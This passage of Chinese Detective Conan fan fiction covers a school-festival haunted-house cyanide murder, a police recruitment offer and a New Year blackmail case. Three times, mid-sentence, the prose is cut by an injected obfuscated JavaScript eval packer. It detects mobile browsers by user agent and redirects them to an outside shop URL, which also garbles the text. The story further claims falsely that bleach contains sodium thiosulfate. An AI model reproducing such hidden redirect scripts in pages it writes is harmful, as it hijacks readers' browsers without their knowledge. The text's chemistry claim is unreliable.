索泰尔纳似乎愣了一下，很快又维持了笑容，她真的很久没有体会到这样的雀跃。 她还以为只有她注意到了他，原来对方也注意到了， 这样的话， 她更不希望有着这样澄澈眼眸的人，继续留在组织里。 于是，她漫不经心地承认着：“这不难看出来吧？我以前说过，有些人喜欢给自己添麻烦，在尽量少杀人的情况下完成任务。我就是那种人。” 不止如此。不过，现在的组织里，连能做到这样的同伴都没有。 要想在到处都是犯罪的环境下维持理智，简直是毫无意义。 索泰尔纳继续补充道：“这其实挺正常的吧？滥杀没有意义。” 诸伏景光消化着话语中国的信息，反应过来立刻摆出自己的立场：“相当正常，我会配合你。” 真是难以摸透。他静静等着她的下一句话。 空气骤然安静。 索泰尔纳突然收起了多余的表情，似乎这样长的对话已经耗尽了她所有的精力：“只有这样，我还是——” 诸伏景光几乎是立刻打断，将这几日所有观察与猜测，一并说出口。 …… 流川玄奈被一语戳中心事，垂眸，沉默了片刻，像是想明白了什么，又把目光放回他身上，轻叹道：“你还真是，很在意我啊。” “彼此彼此。” 流川玄奈索性抢过主动权：“我本来以为，把这几天的报酬全都让给你，就可以结束。” “不过，根据我的观察，这三次见面，那些钱你大概一点都没动吧——你并不是为了钱而加入组织。” 她的语速缓下来，自顾自地再次笑了起来，语气依旧有些漫不经心： “我是有必须要做的事情才加入组织，你呢，到底是为了金钱还是权力？” “有一个渠道，这些都可以获得——” 那双冷棕色的眼睛看向他，目光不急不缓，却又柔和了不少，那里面没什么玩笑的意味，似乎接下来要说的真的是条可靠的捷径。 “和我结婚吧？” 23.文化祭与命案 长野县，高中，文化祭， “由衣，有关结婚的话，是不可以挂在嘴边随便许诺的，因为——” 久违的记忆随着话语被翻起，那时—— 那时她的婚恋观也太糟了吧？！ 只是觉得合眼缘看不透，就直接求婚？！别说苏格兰这个卧底，换组织任何一个正常人都会被她吓到的……再说，苏格兰那时候，绝对是把她当成讨厌的组织成员吧？ 流川玄奈回想起过去的对话，百感交集，甚至有些想找个缝钻进去的冲动。 “所以是因为什么啊，”这边，上原由衣还在好奇地追问，“阿敢，你推我干什么？” “白痴，没看到我还要忙吗？带高明那家伙的家人们去舞台的事情就拜托你了” 大和敢助不耐烦地薅了薅两个小学生头顶，便往教室内跑去。他们班的店才刚刚消停一会儿，现在又排起了长队。 “这家伙真是的……”上原由衣无奈地叹了口气，转向流川玄奈，“流川姐，舞台剧在这边。” 流川玄奈点头，她已经冷静了不少，现在的她并非组织里的单身求婚怪人，而是一个负责任的可靠家长。 相比于刚刚在大和敢助面前的样子，上原由衣其实是个相当文雅的女孩子……流川玄奈很开心诸伏景光可以结交新朋友。 舞台剧的地点离这边的教学楼，还隔了一个操场，那边有很多摊位。 他们三人并排一起走着。不愧是长野县有名的中学，这场文化祭办得确实有模有样，光是吃的就有章鱼烧可丽饼手工零食，还有几个班级搞了占卜屋，门口排着长队，难怪大和敢助他们班级要选择了男仆咖啡厅这招。 流川玄奈顺手买了三份冰淇淋。两个小学生显然很高兴，在到礼堂前就把自己的那份吃掉了。 舞台上正在进行乐队表演，台下已经坐了不少人，学生，家长，校友，气氛相当热闹。 “后台在这边。” 上原由衣轻车熟路地带两人绕到礼堂侧面。 这所中学初高中一起办文化祭。自从诸伏高明和大和敢助上初中后，上原由衣每年都要来看舞台剧。那两个男生中总有一个倒霉蛋会被抓去出演。 流川玄奈和诸伏景光都有些好奇，前者不必多说，她过往见过的文化祭和现在看到的相差太多，而后者，对于诸伏景光来说，他实在太久没回长野了。 二年一班的剧组在角落的位子，一眼看过去，全是汉字的牌子，看起来是和中国文化有关的剧目。 带着夸张头饰的同学向他们走过来：“抱歉，现在不能参观后台——小由衣！” 流川玄奈礼貌地笑了笑，显得无所谓，反正等会就可以在台上见到。 上原由衣反应倒是快，她还向来人解释了两句。那位同学听了顿时眼睛一亮，激动地拍手。 “是诸伏的家人啊！那不得不给你们看了！” ？看这些同学的反应，肯定是蛮滑稽的打扮吧，流川玄奈垂着眼，做足了心理准备，她要照顾未成年人的自尊心，不能笑得太过分。 不一会儿，几个学生簇拥着某位主角，脚步声渐近，流川玄奈也收回思绪，视线正好对上那道人影。 羽扇纶巾，长袖微扬，看起来，倒真像是古代运筹帷幄的军师一样，让人眼前一亮。 只可惜——衣服道具质量很一般，妆容也是刻意地搞怪，浓厚。 诸伏高明底子再好也架不住这样折腾，尤其是那副黏在脸上参差不齐的假胡子……苏格兰也有胡茬，不过流川玄奈并不讨厌，诸伏高明如果只是留胡茬或者换成八字胡，会不会好很多？ 诸伏高明显然注意到了他们三人瞪大的眼睛，无法忍住的笑意。他摇了摇扇子，正要开口，谋士风范全被翘起的胡须打乱。 他自己也轻轻笑了，语气平静：“失礼了。” “喂喂喂——”一个抱着道具剑的男生凑过来，笑得直不起腰，“诸伏你够了啊！你现在这个造型越正经越好笑啊！” 旁边的其他学生也笑着打趣：“毕竟我们是搞笑风格的恋爱喜剧……总之就是这样的剧情！只能委屈诸伏同学了！” “哇。”两个小学生不可置信地眨着眼。 流川玄奈也想象了下他们描述的剧情，倒吸了口气：“我很期待你们的节目。” 诸伏高明看向她，语气无奈，甚至带着一点请求的意味：“不，请不要期待。” 众人笑得更欢了……等到打趣结束，，诸伏高明如平日一样，注意到了一旁的男孩：“怎么了，景光？” 诸伏景光愣了愣，嘴角挂着没收住的笑意，却还是认真开口：“哥哥不是不喜欢这类剧本吗……挑战不喜欢的事情应该很痛苦吧？” 诸伏高明蹲下身，搞怪的妆容配上认真的神情，却意外地很温和：“所谓，君子不器。意思是，人不应该把自己局限在某种固定的形态里。” “景光，有些事，即使不是自己擅长的，也可以去尝试。” 他顿了顿，伸手揉了揉弟弟的头发：“当然，我不希望你勉强自己。” 流川玄奈在一旁看着，她当然也希望诸伏景光能勇敢挑战不擅长的事。诸伏高明明明自己也是学生，在教导弟弟上总是很优秀。 不过，流川玄奈倒是不太想看到诸伏景光也被迫演什么搞笑角色……舒适区也好，挑战自己也好，她更希望诸伏景光可以做自己想做的事情。 至于诸伏高明，这家伙现在这个处境。肯定又是和大和敢助打赌的结果，根本不用她操心。 因此，流川玄奈附和着诸伏高明，看向诸伏景光：“慢慢来，时间还早。” 离舞台剧开始的时间也还早， 他们又溜达到了先前的摊位。之前的长队已经少了很多人，不过某些没人气的项目依旧空荡荡。 诸伏景光在鬼屋旁多停了两下，那门口立着一块手绘的牌子，画着歪歪扭扭的鬼脸，旁边写着诱人的奖品……在刚刚的话题后，诸伏景光有些犹豫不决。 流川玄奈也多看了几眼，只觉得古怪：“这个鬼屋，我们刚才来的时候也是这样，连看门的人都没有。” “对欸！”上原由衣突然来了兴趣，探着脑袋往鬼屋里面张望，“每年都会有那种不负责任的社团……尤其是这种鬼屋，挂个牌子在外面唬人，其实只是关了灯放些音乐，一个人也没有！” 说着，她从口袋里掏出一枚红色袖章和相机：“我可是兼任着举报工作的热心同学！” 流川玄奈＆诸伏景光：？？？ 上原由衣笑着解释道：“你们两位还不知道吧？每年文化祭都有评比活动。阿敢他很要强，如果咖啡店垫底的话，一定会很烦人的。” “这样啊……”虽说如此，流川玄奈还是先找其他摊位吸引两个小孩注意力，自己找借口短暂地离开了几分钟——她自己先进了鬼屋转了一圈，布置粗糙，空气里全是劣质产品的怪味，配上诡异的音乐，氛围可以打五分。 确实没有人也没有鬼，一点也不吓人，只能算是光线偏暗的普通房间，很安全。 …… 在上原由衣的怂恿，流川玄奈的鼓励下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287747|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，诸伏景光主动提出了要跟着一起进去。 “鬼屋”内，几排简易的隔板搭出弯弯曲曲的通道，角落里堆着些落灰的道具。流川玄奈牵着两个小朋友的手，跟着他们的步调走， 上原由衣认真地举着相机，嘀咕着：“还真是一个人都没有——啊啊啊！” 有什么东西正好从她面前掉下——流川玄奈皱着眉靠近，很快松了口气：“你看，只是挂在天上没绑牢的头发。” 诸伏景光也拍了拍胸口，他低头时忽然注意到脚边有东西，弯腰捡起来。“鬼屋”里充足的光线完全够他仔细查看：“这里还有任务卡……隐藏任务？” “说是要穿过通道找到小隔间里的东西，出来可以领隐藏奖励。” 流川玄奈先前进来的时候没注意到——这里有一处用桌子椅子拼凑出来的，刚好够一个人钻过去的狭小空间。 虽然很短，但那样狭小黑暗的空间……那孩子有勇气挑战是好事，但是要循序渐进。 让由衣去的话？她似乎没办法边拿相机边这么做……外面已经全逛完了，就差里面了。 “我进去看看，你们两个乖乖在这里不要乱跑，害怕的话——” “玄奈姐，这里根本不可怕啦，”上原由衣笑着打断她，拉着诸伏景光，两个人都笑着看着她，“实在不行，我可以播放阿敢的歌声给你们听！保证比任何声音都吓人！” 流川玄奈被她逗笑，没再多说，弯腰钻进窄道。两米不到的距离，连接的是一个同样狭小，只有三、四平方米的角落。 落脚点的触感非常奇怪——软软的，嘶，流川玄奈低头，这里的光线比刚刚暗太多了。 需要蹲下来才能看清楚。 是个人，很逼真。没有呼吸，触感冰凉，皮肤质感也很好，原来这种学校的鬼屋也会有这么还原的道具——是真的尸体！ 流川玄奈立刻站起，飞快地扫了眼周围。这是个用桌椅围出来的狭小隔间，说是隔间，其实只是用几排桌椅挡住了一处原本的墙角。 她面前这具尸体是坐着的，靠着的应该是这间教室原本的墙壁。 其他什么都看不清了。 “玄奈姐，怎么了？”“你到了吗？” 流川玄奈正要开口，高中校园出现了杀人命案，她怎么能让那两个孩子呆着——就在这时，尸体的后方，那堵“墙”传来了窸窸窣窣的动静。 有人？！ 没有犹豫，流川玄奈瞬间压低身形，屏住呼吸。 “安静。”外面两个小孩反应很快，虽然不知道发生什么但都乖乖不说话。 现在，敌人在暗，她在明处，流川玄奈调动所有注意力，捕捉着那细微的动静。这里空间狭小，抢得先机即为胜利。 下一瞬，她猛地朝那堵“墙”扑了过去。来人被她扑到，连着身后那堵“墙”也一并倒下，那后面是个完全没有任何灯光的房间。 眼前的人不像是平常的杀人犯，他在被扑倒的瞬间就稳住重心，反手格挡， 交手起来甚至有些——熟悉——不会是组织的人吧？ 这个念头足以让人呼吸一滞。流川玄奈回过神，对方已经反手扣住她的手腕，另一只手摸向腰间。 好在她的反应力足够迅速，流川玄奈她当即手腕一翻，借着贴身的距离，拳头已经逼到对方面前。 就在这一刻—— 来人从腰间掏出的，却是一部新款的移动手机。 闪光灯骤然亮起，照出了一张还算熟悉的脸。 “好久不见，索泰尔纳。” 24.舞台剧的一角 流川玄奈微微睁大眼睛，一时间没有回答。 她确实愣住了。 手电筒的光束中，眼前的人高大魁梧，眉毛浓密上挑，繁忙的工作让这位三十岁精英有着淡淡的皱纹，显得认真又锐利。 黑田兵卫。 并不是和她一样的穿越者，也不是什么组织成员。他怎么会知道“索泰尔纳”？ 这个时代的流川玄奈也只有10岁，索泰尔纳现在应该是她母亲的代号才对。 ……越想越混乱， 高中校园，公安警察，杀人案件，甚至扯到了组织，这些居然是同时发生的——再这样下去，她真的要考虑带着诸伏兄弟搬家了！ “索泰尔纳，是这样读吧？我搞错了吗？” 面对对方的追问，流川玄奈立刻回神，干脆没有说话，只是疑惑地看过去。 是的，装傻。这个时候说什么都不合适。 黑田盯着她看了两秒，似乎在判断什么，随后耸了耸肩：“看起来是搞错了，抱歉，没事，当我没说？” 他真的信了？！ 流川玄奈面无表情，心里却是激动，Nice！她难得反应这么快，虽然只是做了一个表情而已。 ……公安到底是从哪里知道的这个名字？还查到了她头上。这并不是什么好消息。流川玄奈越想越苦恼。 另一边，黑田兵卫像是真的放下她的事，自顾自地蹲下身检查尸体，语气平静地聊起眼前的命案：“抱歉啊，流川，看起来是我这个和案件有关的瘟神，把不幸带到这所学校来了。” 流川玄奈本来还在胡思乱想，听到这样的话倒是回过神来：“要说案件的话，我也一样遇到了很多，瘟神是我才对。” 黑田兵卫微微一愣，笑了：“这种东西就不要争了。” 他笑完，转而开始介绍死者：“这个人和我在负责的案子有关。我一路追查到这里，没想到他已经——流川，你去哪里？” 流川玄奈已经踩上桌椅拼出来的通道，背对着黑田兵卫：“没事，你继续说，” 通道外，呆在原地的诸伏景光和上原由衣，在看到流川玄奈出来，明显松了一口气。 “里面没什么可怕的东西吧？”“玄奈姐怎么进去了那么久？” 流川玄奈正要回答，身后传来窸窣的动静。紧接着，一个高大的身影也钻了出来，先一步抢答道：“放心，里面没有可怕的东西。” 诸伏景光＆上原由衣齐刷刷地抬头，忍不住发出尖叫。 流川玄奈眼疾手快，赶紧伸手按住两人的肩膀：“这位是黑田警官。” 她顿了顿，没有选择欺骗他们：“那里面发生了命案。” 上原由衣睁大眼睛，紧张地看向黑田兵卫，她向来相信警察。诸伏景光似乎也没有那么紧绷，流川玄奈的话他是相信的。 流川玄奈轻轻拍了拍他的肩膀，然后抬头看向黑田兵卫：“你在追踪的逃犯只有这一个？” 黑田兵卫：“对，他的同伙已经全在群马一带落网。” 流川玄奈疑惑：“也就是说，他逃进学校只是为了藏身……” 现在却成为杀人事件的受害者。 按照公安的作风，眼下的情况，多半会选择封锁消息，暗中调查，让文化祭照常进行，以免打草惊蛇。虽说这样等于拿学生们的性命冒险，不过胜算不小。 “我已经联系了警视厅，文化祭不得不取消了，你们等会回去也请小心。” 这个做法倒是和流川玄奈的预期不同，她顾不上惊讶：“舞台剧也要取消吗？” “对，很可惜。” “这块区域和礼堂舞台那边是隔开的。礼堂那边的活动完全可以继续。”说完，流川玄奈顿了顿，回忆着刚刚发现的情况：“里面那具尸体肌肉松弛，没有尸斑出现，有些地方尚有余温。” 黑田兵卫很快理解她的意思：“是一个小时内死的。你是想说，凶手应该还在校园里？” “一个小时内，”诸伏景光也在听着：“对了，玄奈姐，我们从礼堂出来的时候，工作人员有说在下一场舞台剧开始前不可以随意入场。所以，” “所以，杀人的凶手一定不在礼堂那里！” 黑田兵卫赞许地看向说话的两个小学生：“你们很聪明啊，不过其他区域也很大哦。” “是的，我是已经能够确认凶手的身份。”流川玄奈突然开口，“我刚才靠近的时候，闻到了苦杏仁味，这个人是中毒而死的。” 黑田兵卫神色一凛：“你是说，□□中毒……原来如此，先去那个隔间再看看有没有什么可疑的东西。” 他边说，边再次打开移动手机的手电筒——这对两个孩子来说很新颖。 黑田兵卫意外地对小孩还不错，他弯了弯嘴角：“我先联络下属，等处理完案件，可以给你们介绍。” 就这样，四个人绕了路，从整栋楼的另一面找到那个隔间。 死者背靠着的是原本教室的门。左侧是流川玄奈刚才钻过来的那条桌椅通道。右侧是一堵实墙。 所谓的隔间，只是原本教室的角落。只是今天这栋楼电力被切断，外面的走廊也显得黑漆漆的。 用来制造隔间的，除了左边的桌椅，就是死者对面的墙——准确来说是特殊材料制作的“假墙”。 流川玄奈碰了碰，有些吃力地推开……居然还是可以移动的活动隔间。 —— 警察很快赶到，现场被封锁，嫌疑人缩小到推理社的几名成员，舞台剧的活动没有被影响。 今年推理社参加文化祭的一共有四位社员。其中三位都在这附近摸鱼，被带过来问话时，每个人的表情都相当精彩。 “这个移动密室的设计……”其中一个戴眼镜的男生主动解释，他满脑子只想着摆脱犯罪嫌疑，顾不上别的：“我们本来是想整蛊新来的社员，特意用移动密室，就是假墙把门口那块区域隔出来。” “骗她进去后把门锁上，她就会被困在门口和假墙之间的隔间里。” 三人中的短发女生补充道：“因为假墙下面有东西卡着，里面太黑了，被关的人根本推不动。” 他们几乎毫不犹豫地承认了霸凌行为。 至于，为什么原本关着女孩的隔间里变成了一个陌生的，毒发身亡的大叔，三人面面相觑，谁也答不上来。 中毒的原因很快被查明。死者喝了隔间里的饮料。这显然是其中一个社员提前布置在这里的毒药。 同时，警方发现，卡住假墙的东西并不牢靠，受困的女孩大概花了很久时间慢慢推动，最终从靠门的隔间，移动到靠教室内侧，从空隙中脱困。 而那名为了躲避公安逃窜至此的男子，他从外面破门解开门锁，看到了转了一半的假墙，以为里面是安全的藏身之处，又多推了几下，彻底改变了隔间的格局。 流川玄奈轻易地找到了证明上述推理的证据。 见诸伏景光听得有些困惑，流川玄奈耐心地又多解释了一遍：“……两扇假墙在一开始和角落形成密闭空间a，女同学从a区转移到b区后，死者进入a区域。” 诸伏景光若有所思地点点头。 流川玄奈笑了笑，停止关于密室的讨论，目光落在三个社员身上：“这些并不是关键。” 现在，只需要找出，是谁准备的毒药。 流川玄奈想要尽快破案。 推理社的三个嫌疑人都参与过房间的布置。饮料是他们今天上午一起买的，每个人都有。只是案发现场的那瓶，谁也不承认是自己的。 指纹，毒物残留，监控。高中年纪的杀人犯最容易露出破绽。 布置是从今天上午开始，三个人在那之后就没有分开过……流川玄奈梳理着时间线，三个嫌疑人的踪迹与动机。 短发女是负责购买饮料零食，调整音箱设备。眼镜男负责假墙和整个密室的布置。中分男则是负责后续的清洁工作。 不用她翻垃圾桶，黑田兵卫很快就在眼镜男身上找到了装有□□的容器。 眼镜男似乎是因为追求新学生没有结果，所以痛下杀手，只是还没来得及处理罪证——流川玄奈抽了抽嘴角，这一看就是真凶栽赃的手段。 “闹剧该结束了。真凶就是这位，留着中分发型的男同学。” 她的目光停留在犯人身上。 “你说什么？”像是没想到会突然指认自己，中分男猛地抬头，“喂，你好歹记一下名字再指认啊？！” “这起案件没有死亡讯息，死者是被误杀的，根本不认识你们，你们的名字对于破案没有帮助。” ？！她还真的回答了啊。 在场众人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296019|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤其是长野县警，他们的表情一致，这位流川侦探果然还是老样子。她的属性点大概全点在推理上了。 除了犯人外没有人有心思反驳，流川玄奈开始关于案件的陈述：“……至于关键证据，你负责打扫的话，准备的却是全新的白色抹布。你应该知道漂白剂和硫代硫酸钠的关系吧。” 关键信息的出现下，犯人瞳孔骤缩，表情完全变了。 “漂白剂里含有的硫代硫酸钠，无色无臭，同时也是□□的解毒剂。你用抹布擦拭了身上残留的罪证。” 犯人试图狡辩，流川玄奈这几个月办了不少案子，倒也习惯了。几个回合下来，他很快坦白了动机。 他妒忌另外两个社员家境优渥总被夸奖，所以想让一个人成为受害者，一个人成为犯人。 好在这份妒忌所掩盖的毒迹只是害死了一个倒霉的犯人，还没有对那两个学生造成什么无法挽回的后果。 流川玄奈没有在现场停留，她并不是那种有空在案件结束后总结感慨一番的侦探。 她在舞台剧开场前几分钟赶到。 跟着她来的，除了诸伏景光和上原由衣，还有那位公安警察。 “你不用去处理案子的后续吗？” 流川玄奈这么问，目光却停留在舞台之上。 “这个案子后面交给警视厅了。”黑田兵卫也看着舞台，三两下解释清楚了警视厅警察厅的工作划分。 “原来如此，”她顿了顿，“你也对《三国之孔雀东南飞》感兴趣？” “哈哈，是这个舞台剧的名字吗？”黑田兵卫爽朗地笑着，自然地转向另一个话题：“并不是，我是从宫野夫妇那里了解到索泰尔纳这个名字，他们和你接触过，你知道这个人吗？” 流川玄奈摇头：“为什么要和我说这些？” 黑田兵卫：“因为——啊，要开始了。” 穿着奇怪古装的男孩子走上舞台。黑田兵卫也没有再说下去的意思。 搞不懂。不过现在的她和组织没有关系。黑田兵卫的态度，也不像是把她当罪犯的样子。 姑且先看演出吧。 这是场把《孔雀东南飞》和三国时代的历史事件结合的舞台剧。 围绕着庐江一带，焦仲卿，刘兰芝之间的婚姻故事为主线，参杂了孙策遇刺，董承反曹等等历史事件。焦仲卿成了为义父报仇刺杀孙策的关键人物，刘兰芝则是化名为小乔、罗敷的千面女侠。 说是改编自历史，但演绎的时候又过于注重搞笑，本质上还是罗密欧朱丽叶那一套故事，两个不同阵营的人相爱不能相守。 流川玄奈有些犯困，当然她也清楚，不能对高中生舞台剧要求太多。 再说，景光和由衣都看得很开心。 …… 她的心思还是转回到了黑田兵卫身上……他之前在查啄木鸟会的事，啄木鸟会和组织有关系，盯上宫野夫妇也很正常。不过她已经送宫野夫妇去英国了…… 嗯，在明面上也有和宫野夫妇接触的正当理由，所以不用担心。 只是，黑田兵卫的态度仍让她有些在意。 对可疑的人释放善意， “明知道立场对立，还是喜欢上了对方？” 舞台上，穿着深蓝色戏服的诸伏高明终于登场，他顶着那个胡子念着台词，明明是搞笑的桥段，可从他口中说出来，却自带几分从容的风度。 “是的，谋士先生，”饰演女主角的女孩抬起头，声音温和而坚定，“这只是我与他之间的事。吴侯大人的任务，我自会完成。” 这两人气质出众，一来一回间，倒真像是那么回事。台下的笑声少了，观众们到了这会儿似乎都有点代入剧情，流川玄奈也一样。 “你与他之间，岂止是立场相悖。” “我当然知道，我清楚自己身份，从未奢望能与他相守。我只愿他能远离此间风波，余生平安。” “他已经被牵连进其中，如何独善其身。” “我会护他周全。” “是啊，你是这么做，你防得住所有人，却算漏了你自己。” 诸伏高明皱着眉，那张和苏格兰相似的脸在聚光灯下格外清晰，流川玄奈的注意力已经全被吸引过去。 “如若让他知道，你为了让他能够活下去，亲手杀了人，会怎样？” 25.新年 虽然没有因果关系，但如果能让自己在意的人死而复生，死一百个外守一那样的渣滓也无所谓。 无论重来多少次，流川玄奈都会杀掉外守一。她只是遗憾自己没能穿越到更早的时间点，比如四年前，在他杀害诸伏景光的父母前。 她不会考虑改变自己的想法。她只是喜欢有着不同观点的苏格兰而已。 幕布落下，舞台剧彻底结束，灯光陆续亮起，这是今天最后一个节目，接下来是文化祭的颁奖环节，中间有很长一段空隙。 上原由衣带着诸伏景光去了后台，在看完表演后，他们似乎有好多话想和诸伏高明说。 没什么人的楼梯间里，黑田兵卫也有话要和流川玄奈说。 “刚才的舞台剧很精彩啊。” “是的。” 流川玄奈心不在焉。 黑田兵卫笑了笑，语气随和：“请放心，我之前只是随口一问……认识这么久了，我相信流川小姐你和我在查的事情没有关系。” 莫名其妙开始解释。这是试探吧？流川玄奈仔细分辨着，比起看穿物证与案件，看懂人要困难多了。 她斟酌了下，答道：“我没有放在心上。” “那就好，”黑田兵卫顿了顿，“说起来，最精彩的部分，还是男女主角最后的那段台词吧？” 流川玄奈点头：“我记得是一个重要的请求。” 男主人公请求女主角放下仇恨，远离一切，约定如果自己也活下来了就结婚。 如果自己死了——对方也必须一起死。 沉重又荒唐，不过实际演出时，被那群学生演绎出一种地狱笑话类的幽默。 “我也有个重要的请求。”黑田兵卫忽然说道。 “嗯。”流川玄奈愣了两秒，猛然反应过来，“诶？” 换做谁来都不能不惊讶吧？流川玄奈神色压抑不住地变化着，毕竟，结合刚刚聊的舞台剧，首先排除一起死掉，那是另一个选项？！ ……一见钟情快速求婚的笨蛋有她一个人就够了啊！ 流川玄奈肉眼可见地慌了。 “可以请你成为公安的协助人吗？” 原来是这个请求啊，协助人，她知道，薪酬上限高，存在风险，不过不用直接参与抓捕行动，很适合当作赚外快的副业。 “我拒绝。” 流川玄奈几乎没有犹豫，她恢复了平常的样子，刚刚被吊起的情绪转为平淡的语气，“黑田警官，下次想说什么可以直接说的。” “哈哈……”黑田兵卫只看到自己被秒速拒绝，完全不知道她刚刚脑补了什么，于是尴尬地笑了笑，“毕竟流川侦探在这一带太有名气，你的推理能力确实很强。” “恭维的话免了，黑田警官，我现在的生活重心在家庭上。” 流川玄奈还是知道如何应对挖墙脚——只要说出真实的理由就行了。 “我现在可是一个家长，工作也只是为了赚钱。景光他还这么小，我怎么能冒着生命危险给公安干事。” 她语速不急不慢地说着：“协助人的权益保障没有明确的制度，万一哪天出了意外，留下这两个孩子怎么办，他们的父母已经死了。 留下补偿金一走了之还算轻的，就怕半死不活，像是变成植物人昏迷，他们还要反过来照顾我，这怎么好——”说到这里，流川玄奈后知后觉地反应过来，“啊，我没有诅咒你的意思。” 黑田兵卫倒是习惯了她不太懂得说话，再加上他确实面对着这样危险的工作，身边每年都有牺牲的同事。因此也能理解，只是笑了笑，没有再提，以工作为理由先一步离开了。 同时，诸伏高明从后台出来，刚好看见黑田兵卫离开的背影。 “那位是？” “刚刚案子的警察。” 诸伏高明点了点头，又看了流川玄奈一眼：“这一点我知道，玄奈小姐，他对你很在意。” 他停了下，语气很平常：“是在追求你吗？” 他刚刚在候场时看到这两个人坐在一块说话……追求，怀疑，试探，总之绝不是单纯的聊案子。 流川玄奈被问得一噎，目光从黑田兵卫离开的方向收回来：“我没有谈恋爱的打算，你放心。” 她注视着已经换回了校服卸了妆的诸伏高明，他为了这场舞台剧真的很不容易，贴过假胡子的皮肤泛着红，明明那么疲惫还在关心她的事情。 她递过一包纸巾：“辛苦了。” 诸伏高明愣了愣，接过擦去额头的汗，随即开口：“我其实没觉得辛苦……这段时间劳烦玄奈小姐你照顾我们，这样的话应该由我来说。” 他说完，又认真补了一句：“请不必过于担心我们，您如果遇到了在意的人，完全可以——” “等、等等。” 流川玄奈迅速中止这个话题。 和16岁高中生谈论这些也太奇怪了！ 而且，为什么是这么客气的语气啊？！明明已经一起生活了这么久诶！ …… 算了，循序渐进也不错，流川玄奈也挺适应现在的生活模式。 文化祭之后没多久就到了新年。他们三个一起享受了假期，吃了附近新开的料理店，去东京找降谷零，和大和敢助一起去神社。 排着长队，点香，祈福。 希望诸伏兄弟都能够平安幸福，希望来年可以继续留在这个时代，希望可以再见到苏格兰。 流川玄奈第一次有这么多想要实现的愿望。 回到家后，不同于街道上的喧嚣，屋内显得格外安静。相比起她刚刚搬进来时的样子，现在屋子里多了许多生活过的痕迹。 那两兄弟总是很客气不愿意给她添麻烦。尤其是景光，刚才在神社一定很累……流川玄奈小心地给睡着的男孩子盖好被子。有兄长在身边，他现在已经可以安心地睡觉了。 —— 新年的第一起委托，久违地遇到了名人，是位最近小有名气的男性明星。 对方的长相十分惹眼，是以，一大清早就戴着帽子墨镜，只提一个普通的帆布包，全副武装地来到流川侦探事务所。高挑的身材配上亚洲男星的标准五官，再加上淡淡的香水味，他看起来应该很招人喜欢。 ……总有种似曾相识的感觉，流川玄奈回想了好一会，判断可能是穿越前接触过这一类型的男星。 “这位本部礼先生，我记得你应该是在东京一带活动，怎么会到这里来？” 说话的人正是诸伏高明，他穿着常服，熟练地倒了杯茶，倒真有几分侦探助手的感觉。 正值假期，诸伏高明除了同大和敢助出门，在家看书，常常来这里当侦探助手。他和诸伏景光都有着成为警察的目标，对案件自然抱有兴趣。 名叫本部礼男明星将腿搭在膝盖上，回答道：“因为是很私密的事情，所以不想人身边的人知道……这次来，就是想请流川小姐，一定要帮我找到勒索我的人。” 他的语气神情相当正常，一点也不像被勒索的样子。 诸伏高明好奇道：“你为什么会被勒索？被勒索的内容是？” 本部礼挑了挑眉，笑着看向一旁的流川玄奈：“我以前在牛郎店工作的视频被那些人拿到了，流川小姐，你知道的，是尺度比较——” “不，我不知道，这种事情还请不要在未成年人面前讨论！”流川玄奈迅速打断。 本部礼吐了吐舌头，笑着做了个wink：“抱歉抱歉，我没有注意。” 流川玄奈抽了抽嘴角，决定专心梳理案件。 勒索的内容是从短信发过来的，那么只需要用点技术手段，以这个时代的网络水平，应该很轻松就能搞定——可惜她现在连台电脑都没有。 流川玄奈接过本部礼的移动电话，看到短信的内容和时间，皱着的眉头也随之舒展。 比想象中的要简单很多。 “时间是半夜，你却第一时间就回了消息。那时候是在熬夜拍戏刚收场吗？还有措辞上，像是刻意搞成书面式，正常勒索谁会这样说话……再加上这些照片的角度，是你身边的人概率很大。” 接下来只需要根据嫌疑人完成三选一，流川玄奈已经摸透了办案的套路。 谁知道这男演员歪着头，颇为无奈地装傻道：“可是人家想不起来身边有哪些可疑的人。” 钱真难挣。流川玄奈自顾自地点开邮件发出对象，继续分析，“这个人的手机号，前缀和日本常规号段不太一样……最近的政策刚好有关于外国人开号的特别规定，是外国人的可能性很大。” 诸伏高明继续追问：“你身边有外国人吧？” 那个笨蛋美人男明星想了又想，在流川玄奈和诸伏高明连续追问了下，花了好一会才盘出三个可疑对象。 之后一切要顺利多了，流川玄奈按照已有的线索推断：“根据拍摄视频的角度可以推出身高，再加上那个位置通常是留给女性客户的……指向最后那位女性的线索还有很多，我建议你就去报警。对方没什么办法的。” 本部礼还有些迟疑：“诶，等等，就这样吗？你为什么这么肯定？” 流川玄奈已经摸清了这位委托人的脾性，再加上这起案件的体量以及对方给的委托金不足以支付她剩下的时间。她接下来还带景光出门去见朋友。 因此，流川玄奈干脆利落地打断道：“加钱。” “流川侦探的推理实在厉害，不愧是远近有名的侦探。”本部礼说着，抬起一只手，修长的手指漫不经心地卷着领带的一端，一圈，两圈，又松开，“不过，加钱可不行……流川小姐还是单身吧？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 